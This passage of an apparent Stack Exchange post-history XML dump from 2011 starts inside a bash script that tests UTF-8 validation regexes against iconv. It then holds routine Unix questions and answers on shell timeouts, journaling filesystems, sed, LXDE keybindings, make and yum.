# 1: [\x00-\x7F]&#xD;&#xA;    #    ===========&#xD;&#xA;    #    ([\x00-\x7F])&#xD;&#xA;    #&#xD;&#xA;    # 2: [\xC2-\xDF]           [\x80-\xBF]&#xD;&#xA;    #    =================================&#xD;&#xA;    #    ([\xC2-\xDF][\x80-\xBF])&#xD;&#xA;    # &#xD;&#xA;    # 3: [\xE0]                [\xA0-\xBF]  [\x80-\xBF]   &#xD;&#xA;    #    [\xED]                [\x80-\x9F]  [\x80-\xBF]&#xD;&#xA;    #    [\xE1-\xEC\xEE-\xEF]  [\x80-\xBF]  [\x80-\xBF]&#xD;&#xA;    #    ==============================================&#xD;&#xA;    #    ((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\x80-\xBF]))&#xD;&#xA;    #&#xD;&#xA;    # 4  [\xF0]                [\x90-\xBF]  [\x80-\xBF]  [\x80-\xBF]    &#xD;&#xA;    #    [\xF1-\xF3]           [\x80-\xBF]  [\x80-\xBF]  [\x80-\xBF]&#xD;&#xA;    #    [\xF4]                [\x80-\x8F]  [\x80-\xBF]  [\x80-\xBF]&#xD;&#xA;    #    ===========================================================&#xD;&#xA;    #    ((([\xF0][\x90-\xBF])|([\xF1-\xF3][\x80-\xBF])|([\xF4][\x80-\x8F]))([\x80-\xBF]{2}))&#xD;&#xA;    #&#xD;&#xA;    # The final regex&#xD;&#xA;    # ===============&#xD;&#xA;    # 1-4:  (([\x00-\x7F])|([\xC2-\xDF][\x80-\xBF])|((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\x80-\xBF]))|((([\xF0][\x90-\xBF])|([\xF1-\xF3][\x80-\xBF])|([\xF4][\x80-\x8F]))([\x80-\xBF]{2})))&#xD;&#xA;    # 4-1:  (((([\xF0][\x90-\xBF])|([\xF1-\xF3][\x80-\xBF])|([\xF4][\x80-\x8F]))([\x80-\xBF]{2}))|((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\x80-\xBF]))|([\xC2-\xDF][\x80-\xBF])|([\x00-\x7F]))&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #######################################################################&#xD;&#xA;    #  The final Test; for a single character (multi chars to follow)     #  &#xD;&#xA;    #   Compare the return code of 'iconv' against the 'regex'            #&#xD;&#xA;    #   for the full range of 0x000000 to 0x10FFFF                        #&#xD;&#xA;    #                                                                     #     &#xD;&#xA;    #  Note; this script has 3 modes:                                     #&#xD;&#xA;    #        Run this test TWICE, set each mode Manually!                 #     &#xD;&#xA;    #                                                                     #     &#xD;&#xA;    #     1. Sequentially test every value from 0x000000 to 0x10FFFF      #     &#xD;&#xA;    #     2. Throw a spanner into the works! Force random byte patterns   #     &#xD;&#xA;    #     2. Throw a spanner into the works! Force random longer strings  #     &#xD;&#xA;    #        ==============================                               #     &#xD;&#xA;    #                                                                     #     &#xD;&#xA;    #  Note: The purpose of this routine is to determine if there is any  #&#xD;&#xA;    #        difference how 'iconv' and 'regex' handle the same data      #  &#xD;&#xA;    #                                                                     #     &#xD;&#xA;    #######################################################################&#xD;&#xA;    if ((Rx==1)) ; then&#xD;&#xA;      # real    191m34.826s&#xD;&#xA;      # user    158m24.114s&#xD;&#xA;      # sys      83m10.676s&#xD;&#xA;      time { &#xD;&#xA;      invalCt=0&#xD;&#xA;      validCt=0&#xD;&#xA;       failCt=0&#xD;&#xA;      decBeg=$((0x00110000)) # incement by decimal integer&#xD;&#xA;      decMax=$((0x7FFFFFFF)) # incement by decimal integer&#xD;&#xA;      # &#xD;&#xA;      for ((CPDec=decBeg;CPDec&lt;=decMax;CPDec+=13247)) ;do&#xD;&#xA;          ((D==1)) &amp;&amp; echo &quot;==========================================================&quot;&#xD;&#xA;          #&#xD;&#xA;          # Convert decimal integer '$CPDec' to Hex-digits; 6-long  (dec2hex)&#xD;&#xA;          hexUTF32BE=$(printf '%0.8X\n' $CPDec)  # hexUTF32BE&#xD;&#xA;&#xD;&#xA;          # progress count  &#xD;&#xA;          if (((CPDec%$((0x1000)))==0)) ;then&#xD;&#xA;              ((Test&gt;2)) &amp;&amp; echo&#xD;&#xA;              echo &quot;$hexUTF32BE  Test=$Test mode=${mode[$modebits]}            &quot;&#xD;&#xA;          fi&#xD;&#xA;          if   ((Test==1 || Test==2 ))&#xD;&#xA;          then # Test 1. Sequentially test every value from 0x000000 to 0x10FFFF&#xD;&#xA;              #&#xD;&#xA;              if   ((Test==2)) ; then&#xD;&#xA;                  bits=32&#xD;&#xA;                  UTF8=&quot;$( perl -C -e 'print chr 0x'$hexUTF32BE |&#xD;&#xA;                    perl -l -ne '/^(  [\000-\177]&#xD;&#xA;                                    | [\300-\337][\200-\277]&#xD;&#xA;                                    | [\340-\357][\200-\277]{2}&#xD;&#xA;                                    | [\360-\367][\200-\277]{3}&#xD;&#xA;                                    | [\370-\373][\200-\277]{4}&#xD;&#xA;                                    | [\374-\375][\200-\277]{5}&#xD;&#xA;                                   )*$/x and print' |xxd -p )&quot;&#xD;&#xA;                  UTF8=&quot;${UTF8%0a}&quot;&#xD;&#xA;                  [[ -n &quot;$UTF8&quot; ]] \&#xD;&#xA;                        &amp;&amp; rcIco32=0 || rcIco32=1&#xD;&#xA;                           rcIco16=&#xD;&#xA;&#xD;&#xA;              elif ((modebits==strict &amp;&amp; CPDec&lt;=$((0xFFFF)))) ;then&#xD;&#xA;                  bits=16&#xD;&#xA;                  UTF8=&quot;$( echo -n &quot;${hexUTF32BE:4}&quot; |&#xD;&#xA;                    xxd -p -u -r |&#xD;&#xA;                      iconv -f UTF-16BE -t UTF-8 2&gt;/dev/null)&quot; \&#xD;&#xA;                        &amp;&amp; rcIco16=0 || rcIco16=1  &#xD;&#xA;                           rcIco32=&#xD;&#xA;              else&#xD;&#xA;                  bits=32&#xD;&#xA;                  UTF8=&quot;$( echo -n &quot;$hexUTF32BE&quot; |&#xD;&#xA;                    xxd -p -u -r |&#xD;&#xA;                      iconv -f UTF-32BE -t UTF-8 2&gt;/dev/null)&quot; \&#xD;&#xA;                        &amp;&amp; rcIco32=0 || rcIco32=1&#xD;&#xA;                           rcIco16=&#xD;&#xA;              fi&#xD;&#xA;              # echo &quot;1 mode=${mode[$modebits]}-$bits  rcIconv: (${rcIco16},${rcIco32})  $hexUTF32BE &quot;&#xD;&#xA;              #&#xD;&#xA;              #&#xD;&#xA;              #&#xD;&#xA;              if ((${rcIco16}${rcIco32}!=0)) ;then&#xD;&#xA;                  # 'iconv -f UTF-16BE' failed produce a reliable UTF-8&#xD;&#xA;                  if ((bits==16)) ;then&#xD;&#xA;                      ((D==1)) &amp;&amp;           echo &quot;bits-$bits rcIconv: error    $hexUTF32BE .. 'strict' failed, now trying 'lax'&quot;&#xD;&#xA;                      #  iconv failed to create a  'srict' UTF-8 so   &#xD;&#xA;                      #      try UTF-32BE to get a   'lax' UTF-8 pattern    &#xD;&#xA;                      UTF8=&quot;$( echo -n &quot;$hexUTF32BE&quot; |&#xD;&#xA;                        xxd -p -u -r |&#xD;&#xA;                          iconv -f UTF-32BE -t UTF-8 2&gt;/dev/null)&quot; \&#xD;&#xA;                            &amp;&amp; rcIco32=0 || rcIco32=1&#xD;&#xA;                      #echo &quot;2 mode=${mode[$modebits]}-$bits  rcIconv: (${rcIco16},${rcIco32})  $hexUTF32BE &quot;&#xD;&#xA;                      if ((rcIco32!=0)) ;then&#xD;&#xA;                          ((D==1)) &amp;&amp;               echo -n &quot;bits-$bits rcIconv: Cannot gen UTF-8 for: $hexUTF32BE&quot;&#xD;&#xA;                          rcIco32=1&#xD;&#xA;                      fi&#xD;&#xA;                  fi&#xD;&#xA;              fi&#xD;&#xA;              # echo &quot;3 mode=${mode[$modebits]}-$bits  rcIconv: (${rcIco16},${rcIco32})  $hexUTF32BE &quot;&#xD;&#xA;              #&#xD;&#xA;              #&#xD;&#xA;              #&#xD;&#xA;              if ((rcIco16==0 || rcIco32==0)) ;then&#xD;&#xA;                  # 'strict(16)' OR 'lax(32)'... 'iconv' managed to generate a UTF-8 pattern  &#xD;&#xA;                      ((D==1)) &amp;&amp;       echo -n &quot;bits-$bits rcIconv: pattern* $hexUTF32BE&quot;&#xD;&#xA;                      ((D==1)) &amp;&amp;       if [[ $bits == &quot;16&quot; &amp;&amp; $rcIco32 == &quot;0&quot; ]] ;then &#xD;&#xA;                      echo &quot; .. 'lax' UTF-8 produced a pattern&quot;&#xD;&#xA;                  else&#xD;&#xA;                      echo&#xD;&#xA;                  fi&#xD;&#xA;                   # regex test&#xD;&#xA;                  if ((modebits==strict)) ;then&#xD;&#xA;                     #rxOut=&quot;$(echo -n &quot;$UTF8&quot; |perl -l -ne '/^(([\x00-\x7F])|([\xC2-\xDF][\x80-\xBF])|((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\x80-\xBF]))|((([\xF0][\x90-\xBF])|([\xF1-\xF3][\x80-\xBF])|([\xF4][\x80-\x8F]))([\x80-\xBF]{2})))*$/ or print' )&quot;&#xD;&#xA;                                         rxOut=&quot;$(echo -n &quot;$UTF8&quot; |&#xD;&#xA;                      perl -l -ne '/^( ([\x00-\x7F])             # 1-byte pattern&#xD;&#xA;                                      |([\xC2-\xDF][\x80-\xBF])  # 2-byte pattern&#xD;&#xA;                                      |((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\x80-\xBF]))  # 3-byte pattern&#xD;&#xA;                                      |((([\xF0][\x90-\xBF])|([\xF1-\xF3][\x80-\xBF])|([\xF4][\x80-\x8F]))([\x80-\xBF]{2}))        # 4-byte pattern&#xD;&#xA;                                     )*$ /x or print' )&quot;&#xD;&#xA;                   else&#xD;&#xA;                      if ((Test==2)) ;then&#xD;&#xA;                          rx=&quot;$(echo -n &quot;$UTF8&quot; |perl -l -ne '/^([\000-\177]|[\300-\337][\200-\277]|[\340-\357][\200-\277]{2}|[\360-\367][\200-\277]{3}|[\370-\373][\200-\277]{4}|[\374-\375][\200-\277]{5})*$/ and print')&quot;&#xD;&#xA;                          [[ &quot;$UTF8&quot; != &quot;$rx&quot; ]] &amp;&amp; rxOut=&quot;$UTF8&quot; || rxOut=&#xD;&#xA;                          rx=&quot;$(echo -n &quot;$rx&quot; |sed -e &quot;s/\(..\)/\1 /g&quot;)&quot;  &#xD;&#xA;                      else &#xD;&#xA;                          rxOut=&quot;$(echo -n &quot;$UTF8&quot; |perl -l -ne '/^([\000-\177]|[\300-\337][\200-\277]|[\340-\357][\200-\277]{2}|[\360-\367][\200-\277]{3}|[\370-\373][\200-\277]{4}|[\374-\375][\200-\277]{5})*$/ or print' )&quot;&#xD;&#xA;                      fi&#xD;&#xA;                  fi&#xD;&#xA;                  if [[ &quot;$rxOut&quot; == &quot;&quot; ]] ;then&#xD;&#xA;                    ((D==1)) &amp;&amp;           echo &quot;        rcRegex: ok&quot;&#xD;&#xA;                      rcRegex=0&#xD;&#xA;                  else&#xD;&#xA;                      ((D==1)) &amp;&amp;           echo -n &quot;bits-$bits rcRegex: error    $hexUTF32BE .. 'strict' failed,&quot;&#xD;&#xA;                      ((D==1)) &amp;&amp;           if [[  &quot;12&quot; == *$Test* ]] ;then &#xD;&#xA;                                                echo # &quot;  (codepoint) Test $Test&quot; &#xD;&#xA;                                            else&#xD;&#xA;                                                echo&#xD;&#xA;                                            fi&#xD;&#xA;                      rcRegex=1&#xD;&#xA;                  fi&#xD;&#xA;              fi&#xD;&#xA;              #&#xD;&#xA;          elif [[ $Test == 2 ]]&#xD;&#xA;          then # Test 2. Throw a randomizing spanner into the works! &#xD;&#xA;              #          Then test the  arbitary bytes ASIS&#xD;&#xA;              #&#xD;&#xA;              hexLineRand=&quot;$(echo -n &quot;$hexUTF32BE&quot; |&#xD;&#xA;                sed -re &quot;s/(.)(.)(.)(.)(.)(.)(.)(.)/\1\n\2\n\3\n\4\n\5\n\6\n\7\n\8/&quot; |&#xD;&#xA;                  sort -R |&#xD;&#xA;                    tr -d '\n')&quot;&#xD;&#xA;              # &#xD;&#xA;          elif [[ $Test == 3 ]]&#xD;&#xA;          then # Test 3. Test single UTF-16BE bytes in the range 0x00000000 to 0x7FFFFFFF&#xD;&#xA;              #&#xD;&#xA;              echo &quot;Test 3 is not properly implemented yet.. Exiting&quot;&#xD;&#xA;              exit 99 &#xD;&#xA;          else&#xD;&#xA;              echo &quot;ERROR: Invalid mode&quot;&#xD;&#xA;              exit&#xD;&#xA;          fi&#xD;&#xA;          #&#xD;&#xA;          #&#xD;&#xA;          if ((Test==1 || Test=2)) ;then&#xD;&#xA;              if ((modebits==strict &amp;&amp; CPDec&lt;=$((0xFFFF)))) ;then&#xD;&#xA;                  ((rcIconv=rcIco16))&#xD;&#xA;              else&#xD;&#xA;                  ((rcIconv=rcIco32))&#xD;&#xA;              fi&#xD;&#xA;              if ((rcRegex!=rcIconv)) ;then&#xD;&#xA;                  [[ $Test != 1 ]] &amp;&amp; echo&#xD;&#xA;                  if ((rcRegex==1)) ;then&#xD;&#xA;                      echo &quot;ERROR: 'regex' ok, but NOT 'iconv': ${hexUTF32BE} &quot;&#xD;&#xA;                  else&#xD;&#xA;                      echo &quot;ERROR: 'iconv' ok, but NOT 'regex': ${hexUTF32BE} &quot;&#xD;&#xA;                  fi&#xD;&#xA;                  ((failCt++));&#xD;&#xA;              elif ((rcRegex!=0)) ;then&#xD;&#xA;                # ((invalCt++)); echo -ne &quot;$hexUTF32BE  exit-codes $${rcIco16}${rcIco32}=,$rcRegex\t: $(printf &quot;%0.8X\n&quot; $invalCt)\t$hexLine$(printf &quot;%$(((mode3whi*2)-${#hexLine}))s&quot;)\r&quot;&#xD;&#xA;                  ((invalCt++)) &#xD;&#xA;              else&#xD;&#xA;                  ((validCt++)) &#xD;&#xA;              fi&#xD;&#xA;              if   ((Test==1)) ;then&#xD;&#xA;                  echo -ne &quot;$hexUTF32BE &quot;    &quot;mode=${mode[$modebits]}  test-return=($rcIconv,$rcRegex)   valid,invalid,fail=($(printf &quot;%X&quot; $validCt),$(printf &quot;%X&quot; $invalCt),$(printf &quot;%X&quot; $failCt))          \r&quot;&#xD;&#xA;              else &#xD;&#xA;                  echo -ne &quot;$hexUTF32BE $rx mode=${mode[$modebits]} test-return=($rcIconv,$rcRegex)  val,inval,fail=($(printf &quot;%X&quot; $validCt),$(printf &quot;%X&quot; $invalCt),$(printf &quot;%X&quot; $failCt))\r&quot;&#xD;&#xA;              fi&#xD;&#xA;          fi&#xD;&#xA;      done&#xD;&#xA;      } # End time&#xD;&#xA;    fi&#xD;&#xA;    exit&#xD;&#xA;" />
  <row Id="31221" PostHistoryTypeId="2" PostId="12719" RevisionGUID="a75a98be-d2a3-42c6-a5c5-a368a1d6bec5" CreationDate="2011-05-06T08:32:12.247" UserId="6960" Text="Are there any timeout settings that can be achieved, when e.g.: a root shell (in e.g.: gnome-terminal) doesn't run a process (e.g.: started a script, or something), so that it logs out after given time? I'm searching for a solution under Fedora/bash; OpenBSD/ksh&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks" />
  <row Id="31222" PostHistoryTypeId="1" PostId="12719" RevisionGUID="a75a98be-d2a3-42c6-a5c5-a368a1d6bec5" CreationDate="2011-05-06T08:32:12.247" UserId="6960" Text="Timeout rootshell?" />
  <row Id="31223" PostHistoryTypeId="3" PostId="12719" RevisionGUID="a75a98be-d2a3-42c6-a5c5-a368a1d6bec5" CreationDate="2011-05-06T08:32:12.247" UserId="6960" Text="ébashàékshà" />
  <row Id="31224" PostHistoryTypeId="2" PostId="12720" RevisionGUID="0cb9da12-8800-4a2d-8c58-c63809b6489d" CreationDate="2011-05-06T08:35:33.623" UserId="2594" Text="ZFS, which is close but not exactly a journaling filesystem, is guaranteeing by design against corruption after a power failure.&#xD;&#xA;&#xD;&#xA;It doesn't matter if an ongoing write is interrupted in the middle as in such case, its checksum will be certainly incorrect so the block will be ignored. As the file system is copy on write, the previous correct data (or meta-data) is still on disk and will be used instead." />
  <row Id="31225" PostHistoryTypeId="5" PostId="11632" RevisionGUID="aac038b2-abdf-44b3-b558-a26ddd45df84" CreationDate="2011-05-06T08:43:47.843" UserId="7268" Comment="added 1 characters in body" Text="I'm running LXDE on Mint atm, and I was wondering if there is a practical way to make the super key open the menu up, somewhat like it does in Windows." />
  <row Id="31226" PostHistoryTypeId="2" PostId="12721" RevisionGUID="36217916-9414-4524-b029-d0cd104800a8" CreationDate="2011-05-06T09:07:44.800" UserId="3459" Text="You can set set the `TMOUT` variable to a number in seconds that you wish for bash to wait before automatically logging out the shell if no command is run." />
  <row Id="31227" PostHistoryTypeId="25" PostId="12719" RevisionGUID="7ee046d8-1c06-4572-a3f0-39e1af594a29" CreationDate="2011-05-06T09:11:27.993" Comment="http://twitter.com/#!/StackUnix/status/66429862616891393" />
  <row Id="31228" PostHistoryTypeId="2" PostId="12722" RevisionGUID="8e518dcb-8da5-4ad7-a30e-2791148b448f" CreationDate="2011-05-06T09:50:59.047" UserId="7226" Text="I have a list of filenames as `id-datetime.txt`, one each line, where id is always the same and datetime is ordered.&#xD;&#xA;&#xD;&#xA;I need first and last datetime so having a sed_script in a variable `$script` that grabs it I can do&#xD;&#xA;&#xD;&#xA;    sed -nr &quot;1 $script p; \$ $script'&#xD;&#xA;&#xD;&#xA;I get&#xD;&#xA;&#xD;&#xA;    datetime (oldest)&#xD;&#xA;    datetime (newest)&#xD;&#xA;&#xD;&#xA;also working with a single-file list.&#xD;&#xA;&#xD;&#xA;Now what if I'd like to get also another line with also the id like&#xD;&#xA;&#xD;&#xA;    id&#xD;&#xA;    datetime (oldest)&#xD;&#xA;    datetime (newest)&#xD;&#xA;&#xD;&#xA;is there an (easy) way of editing line 1 twice so it gives 2 separate lines?" />
  <row Id="31229" PostHistoryTypeId="1" PostId="12722" RevisionGUID="8e518dcb-8da5-4ad7-a30e-2791148b448f" CreationDate="2011-05-06T09:50:59.047" UserId="7226" Text="sed: get 2 lines from a single one" />
  <row Id="31230" PostHistoryTypeId="3" PostId="12722" RevisionGUID="8e518dcb-8da5-4ad7-a30e-2791148b448f" CreationDate="2011-05-06T09:50:59.047" UserId="7226" Text="ésedà" />
  <row Id="31231" PostHistoryTypeId="5" PostId="12667" RevisionGUID="3c1d30a0-1ad2-4ba7-b1e9-c05267c96541" CreationDate="2011-05-06T10:04:23.963" UserId="688" Comment="deleted 41 characters in body" Text="In my experience, the battery life is the same (if not better).&#xD;&#xA;&#xD;&#xA;I got before:&#xD;&#xA;&#xD;&#xA;    $ grep rate /proc/acpi/battery/BAT0/state&#xD;&#xA;    present rate:            10142 mW&#xD;&#xA;&#xD;&#xA;now I get:&#xD;&#xA;&#xD;&#xA;    $ grep rate /proc/acpi/battery/BAT0/state&#xD;&#xA;    present rate:            10219 mW&#xD;&#xA;    $ grep rate /proc/acpi/battery/BAT0/state&#xD;&#xA;    present rate:            9669 mW&#xD;&#xA;    $ grep rate /proc/acpi/battery/BAT0/state&#xD;&#xA;    present rate:            9669 mW&#xD;&#xA;&#xD;&#xA;I'm also using Arch Linux, with ASUS U31 and the Nvidia card disabled&#xD;&#xA;with `acpi_call`, so I'm only using the integrated Intel card.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31232" PostHistoryTypeId="2" PostId="12723" RevisionGUID="9bd59146-410b-4dbd-9285-f38b5819ca39" CreationDate="2011-05-06T10:13:42.900" UserId="5661" Text="The answer is in most cases no:&#xD;&#xA;&#xD;&#xA; - As already [mikel][1] said, most journaling file systems can only protect file metadata (information like the name of a file, its size, its permissions, etc.), not file data (the file's contents). This is happening because protecting file data results in a very slow (in practice useless) file system.&#xD;&#xA; - Since the journal is also a special kind of file stored on the hard disk, it can be damaged after a power failure. Thus if the journal is corrupted the file system cannot complete any incomplete transactions that were taking place when the power failure occured.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12699/do-journaling-filesystems-guarantee-against-corruption-after-a-power-failure/12709#12709" />
  <row Id="31233" PostHistoryTypeId="2" PostId="12724" RevisionGUID="259a3d80-0099-46b4-ba61-6972301a3cf5" CreationDate="2011-05-06T10:35:49.820" UserId="7226" Text="Ok, I got it&#xD;&#xA;&#xD;&#xA;    1 {&#xD;&#xA;        #hold the line&#xD;&#xA;        h&#xD;&#xA;        #extract id&#xD;&#xA;        s|^([0-9]{6}).*|\1|; p&#xD;&#xA;        #put line back again&#xD;&#xA;        g&#xD;&#xA;        #get datetime&#xD;&#xA;        $sed_str&#xD;&#xA;    }" />
  <row Id="31234" PostHistoryTypeId="2" PostId="12725" RevisionGUID="3325c5f7-8eab-4df6-b920-af210b9b0fe8" CreationDate="2011-05-06T10:44:55.693" UserId="7164" Text="lc----A tool to count lines of code in C files.  &#xD;&#xA;The make file of lc is given as below  &#xD;&#xA;SHELL=/bin/sh  &#xD;&#xA;CC=cc&#xD;&#xA;&#xD;&#xA;# Objects we link together.&#xD;&#xA;OBJ=lc.o get.o&#xD;&#xA;&#xD;&#xA;all:	$(OBJ)&#xD;&#xA;	$(CC) -o lc $(OBJ)&#xD;&#xA;&#xD;&#xA;lc.o:	lc.c lc.h  &#xD;&#xA;get.o:	get.c lc.h&#xD;&#xA;&#xD;&#xA;I have lc tool on my desktop. So what should i enter on the shell command line.  &#xD;&#xA;I have given  &#xD;&#xA;$/home/desktop/lc/lc.c  &#xD;&#xA;Its not running.  &#xD;&#xA;" />
  <row Id="31235" PostHistoryTypeId="1" PostId="12725" RevisionGUID="3325c5f7-8eab-4df6-b920-af210b9b0fe8" CreationDate="2011-05-06T10:44:55.693" UserId="7164" Text="how to build lc tool in linux?" />
  <row Id="31236" PostHistoryTypeId="3" PostId="12725" RevisionGUID="3325c5f7-8eab-4df6-b920-af210b9b0fe8" CreationDate="2011-05-06T10:44:55.693" UserId="7164" Text="élinuxà" />
  <row Id="31237" PostHistoryTypeId="2" PostId="12726" RevisionGUID="08e86604-356c-4b35-8bff-1bf9a1752464" CreationDate="2011-05-06T10:55:37.427" UserId="6761" Text="&lt;p&gt;In Ubuntu 10.10 (so presumably also in Mint) you can open the configuration editor with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F2&lt;/kbd&gt; and enter &lt;pre&gt;&lt;code&gt;gconf-editor&lt;/code&gt;&lt;/pre&gt; and then navigate:&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;&lt;p&gt;apps &gt; metacity &gt; global_keybindings.&lt;/p&gt; &#xD;&#xA;&#xD;&#xA;&lt;p&gt;Look for panel_main_menu and enter &lt;code&gt;Super_L&lt;/code&gt; as the value.&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;&lt;p&gt;Alternatively, open a terminal and type:&lt;/p&gt;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;gconftool-2 --set /apps/metacity/global_keybindings/panel_main_menu --type string Super_L&lt;/code&gt;&lt;/pre&gt;" />
  <row Id="31238" PostHistoryTypeId="2" PostId="12727" RevisionGUID="996531bb-0010-464e-b8aa-5360d7bc4702" CreationDate="2011-05-06T11:03:29.663" UserId="4843" Text="If you are willing to prevent addition of new .desktop file, you can set Read-Only permissions to the `/usr/share/applications` and to the `~/.local/share/applications.` &#xD;&#xA;&#xD;&#xA;" />
  <row Id="31239" PostHistoryTypeId="12" PostId="12726" RevisionGUID="df95e452-71a6-4669-be79-1655c1fa15ba" CreationDate="2011-05-06T11:05:36.213" UserId="6761" Text="[{&quot;Id&quot;:6761,&quot;DisplayName&quot;:&quot;jasonwryan&quot;}]" />
  <row Id="31240" PostHistoryTypeId="2" PostId="12728" RevisionGUID="38c55ff1-8e9d-4e7f-9a1b-c66fad5375d5" CreationDate="2011-05-06T11:11:20.973" UserId="7140" Text="I'm trying to set up a dynamic DNS account on dhis.org. I have edited /etc/hdid.conf in the way described in the website and the dhid example and I have dhis-client installed. &#xD;&#xA;&#xD;&#xA;This doesn't work and I don't know why. Where can I find a log file or how can I try and connect manually?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31241" PostHistoryTypeId="1" PostId="12728" RevisionGUID="38c55ff1-8e9d-4e7f-9a1b-c66fad5375d5" CreationDate="2011-05-06T11:11:20.973" UserId="7140" Text="Using dhis server with ubuntu" />
  <row Id="31242" PostHistoryTypeId="3" PostId="12728" RevisionGUID="38c55ff1-8e9d-4e7f-9a1b-c66fad5375d5" CreationDate="2011-05-06T11:11:20.973" UserId="7140" Text="édnsà" />
  <row Id="31243" PostHistoryTypeId="2" PostId="12729" RevisionGUID="55ce67c4-5c16-4852-88fb-185ecca7bb09" CreationDate="2011-05-06T11:15:51.920" UserId="3389" Text="Your question is confusing, but it sounds like you have source code files.  A `.c` file is for a compiler (like `gcc`) and not something that can be directly executed.&#xD;&#xA;&#xD;&#xA;You need to compile them and then you'll get an executable, which is something you can run.&#xD;&#xA;&#xD;&#xA;Try this:&#xD;&#xA;&#xD;&#xA;- Open a terminal&#xD;&#xA;- `cd` into the directory that has the make file&#xD;&#xA;- `ls` and see if there is a `readme.txt` or a `docs` or `doc` directory.  Read any of those, or anything in those directories, it may give you specific instructions&#xD;&#xA;- Failing that, try entering `make` and see what happens.  If it works you'll have an executable file called `lc` that you can run by entering `.\lc`.&#xD;&#xA;" />
  <row Id="31244" PostHistoryTypeId="5" PostId="12726" RevisionGUID="738801aa-6192-47dd-a851-5087fbb8b2de" CreationDate="2011-05-06T11:24:51.617" UserId="6761" Comment="deleted 161 characters in body" Text="You will need to edit the LXDE menu file, which should be something like: &lt;file&gt;~/.config/openbox/lxde-rc.xml&lt;/file&gt;&#xD;&#xA;&#xD;&#xA;and add something like:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;keybind key=&quot;Super_L&quot;&amp;gt;&#xD;&#xA;    &amp;lt;action name=&quot;ShowMenu&quot;&amp;gt;&#xD;&#xA;        &amp;lt;menu&amp;gt;root-menu&amp;lt;/menu&amp;gt;&#xD;&#xA;    &amp;lt;/action&amp;gt;&#xD;&#xA;&amp;lt;/keybind&amp;gt;&lt;/code&gt;&lt;/pre&gt; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="31245" PostHistoryTypeId="13" PostId="12726" RevisionGUID="56c69492-4c89-4da6-90b7-77e82b639b9d" CreationDate="2011-05-06T11:25:17.420" UserId="6761" Text="[{&quot;Id&quot;:6761,&quot;DisplayName&quot;:&quot;jasonwryan&quot;}]" />
  <row Id="31246" PostHistoryTypeId="25" PostId="12699" RevisionGUID="67732282-733b-40b2-9776-a69c3437bd85" CreationDate="2011-05-06T12:11:28.687" Comment="http://twitter.com/#!/StackUnix/status/66475164438773762" />
  <row Id="31247" PostHistoryTypeId="2" PostId="12730" RevisionGUID="e3534666-4903-4145-a3c6-f44c33f8f207" CreationDate="2011-05-06T12:25:21.830" UserId="3852" Text="In the repo file, add a line that says:&#xD;&#xA;&#xD;&#xA;`includepkgs=google-chrome*`&#xD;&#xA;&#xD;&#xA;This will only allow updates and installs of packages named `google-chrome*` from that repo, all other packages will be ignored. You can list multiple packages if you separate them by a space.&#xD;&#xA;&#xD;&#xA;In a more general sense, there's no good way of handling the problem of repos having conflicting RPMs. You have to choose good repos where you trust the maintainer (I always recommend [EPEL][1]). There's a few plugins out there which might help you such as [yum-priorities][2] and [yum-protectbase][3] but I've always used the `incpludepkgs` method. It's a little more work but I can sleep better at night knowing some RPM from some repo won't blow away some other RPM from a different repo when I don't want it too.&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/EPEL&#xD;&#xA;  [2]: http://wiki.centos.org/PackageManagement/Yum/Priorities&#xD;&#xA;  [3]: http://wiki.centos.org/PackageManagement/Yum/ProtectBase" />
  <row Id="31248" PostHistoryTypeId="2" PostId="12731" RevisionGUID="e0ca0fa4-dcda-45a5-9586-90f4dee79d25" CreationDate="2011-05-06T12:58:09.860" UserId="7164" Text="I tried to compile a c file to get object file from unix shell prompt  &#xD;&#xA;$cc a.c  &#xD;&#xA;but the error is as:  &#xD;&#xA;/usr/ucb/cc:  language optional software package not installed&#xD;&#xA;&#xD;&#xA;How to compile c file?&#xD;&#xA;" />
  <row Id="31249" PostHistoryTypeId="1" PostId="12731" RevisionGUID="e0ca0fa4-dcda-45a5-9586-90f4dee79d25" CreationDate="2011-05-06T12:58:09.860" UserId="7164" Text="/usr/ucb/cc: language optional software package not installed" />
  <row Id="31250" PostHistoryTypeId="3" PostId="12731" RevisionGUID="e0ca0fa4-dcda-45a5-9586-90f4dee79d25" CreationDate="2011-05-06T12:58:09.860" UserId="7164" Text="ésolarisà" />
  <row Id="31251" PostHistoryTypeId="2" PostId="12732" RevisionGUID="67ddd18c-6009-4767-a82d-853193771dea" CreationDate="2011-05-06T13:03:48.187" UserId="7164" Text="SHELL=/bin/sh  &#xD;&#xA;CC=cc&#xD;&#xA;&#xD;&#xA;# Objects we link together.&#xD;&#xA;OBJ=lc.o get.o&#xD;&#xA;&#xD;&#xA;all:	$(OBJ)  &#xD;&#xA;	$(CC) -o lc   &#xD;&#xA;          $(OBJ)&#xD;&#xA;&#xD;&#xA;lc.o:	lc.c lc.h  &#xD;&#xA;get.o:	get.c lc.h&#xD;&#xA;" />
  <row Id="31252" PostHistoryTypeId="1" PostId="12732" RevisionGUID="67ddd18c-6009-4767-a82d-853193771dea" CreationDate="2011-05-06T13:03:48.187" UserId="7164" Text="Can you explain me about following make file of &quot;lc&quot; tool." />
